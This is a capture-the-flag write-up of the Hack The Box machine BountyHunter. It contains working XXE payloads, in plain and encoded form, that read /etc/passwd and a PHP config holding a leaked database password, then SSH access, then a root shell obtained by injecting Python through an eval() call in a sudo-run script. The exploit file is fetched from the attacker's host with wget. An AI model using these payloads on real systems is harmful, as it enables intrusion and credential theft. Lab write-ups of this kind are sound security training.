Hack The Box - Machine - BountyHunter

3 minute read

  3 minute read

Hack The Box - Machine - BountyHunter

Overview

Welcome to the writeup of the bountyhunter machine of the Hack The Box platform. BountyHunter is a Linux based machine that was active since July 24th to November 20th, on this machine we will find a XXE vulnerability and use it with a php wrapper to read internal files and get sensitive information, with the information gotten we will be able to connect to the machine through SSH, once inside the machine we will analyze a python script to find how we can abuse it to get code execution as root user and finish with the machine.

Before starting

Tmux for VPN connection

Connect to Hack The Box VPN in background with tmux

tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn

Add to hosts file

Add machine to /etc/hosts file, check connection with ping and create work folders

echo '10.10.11.100 bountyhunter.htb' >> /etc/hosts
ping -c 1 bountyhunter.htb
mkdir -p ~/htb/bountyhunter.htb/{exploits,fuzz,http,nmap}

Recon

Scan with nmap

Check all ports that are open, detect the service and its version with nmap

nmap -sC -sV -p- -T4 --min-rate=1000 -v -oA all bountyhunter.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Check website

Open firefox to inspect website

firefox http://bountyhunter.htb &

Fuzzing with gobuster

Find directories and PHP files

gobuster dir -u "http://bountyhunter.htb/" -w "/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt" -t 23 -x php -o root_directories_php.fuzz
/assets               (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
/css                  (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
/db.php               (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 25169]
/js                   (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
/portal.php           (Status: 200) [Size: 125]
/resources            (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
/server-status        (Status: 403) [Size: 281]

Interesting file db.php, response code is 200 but size is 0. Open BurpSuite and navegate to web page, the portal link in main page go to Bounty Report System.

The above fields are converted to base64 to form an XML structure, time to check XXE vulnerability.

Gain Access

Use CyberChef tool to generate payload, use To Base64 and URL Encode with special chars.

XXE Payload

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
    <title>&xxe;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
</bugreport>

Payload

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIHJlcGxhY2UgWzwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2BIF0%2BCjxidWdyZXBvcnQ%2BCiAgICA8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgogICAgPGN3ZT50ZXN0PC9jd2U%2BCiAgICA8Y3Zzcz50ZXN0PC9jdnNzPgogICAgPHJld2FyZD50ZXN0PC9yZXdhcmQ%2BCjwvYnVncmVwb3J0Pg%3D%3D

Do you remember db.php file found in fuzz?

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
<bugreport>
    <title>&xxe;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
</bugreport>

Payload to base64

PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI%2FPgo8IURPQ1RZUEUgcmVwbGFjZSBbPCFFTlRJVFkgeHhlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCI%2BIF0%2BCjxidWdyZXBvcnQ%2BCiAgICA8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgogICAgPGN3ZT50ZXN0PC9jd2U%2BCiAgICA8Y3Zzcz50ZXN0PC9jdnNzPgogICAgPHJld2FyZD50ZXN0PC9yZXdhcmQ%2BCjwvYnVncmVwb3J0Pg%3D%3D

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Time to check ssh, I could not log in with admin and password, but if we check the file extracted from the previous step, we can see that there is a user named development.

ssh development@bountyhunter.htb

Privilege Escalation

sudo -l

The file /opt/skytrain_inc/ticketValidator.py is executed as root, maybe we can escalate here.

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Reviewing the above code, you can create a markdown file to achieve the following command execution, exploit.md

# Skytrain Inc

## Ticket to root

**Ticket Code:**  
\*\*102 + 10 == 112 and **import**('os').system('/bin/bash') == False
python -m http.server 80
cd /tmp
wget http://10.10.15.162/exploit.md
chmod 777 exploit.md
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/tmp/exploit.md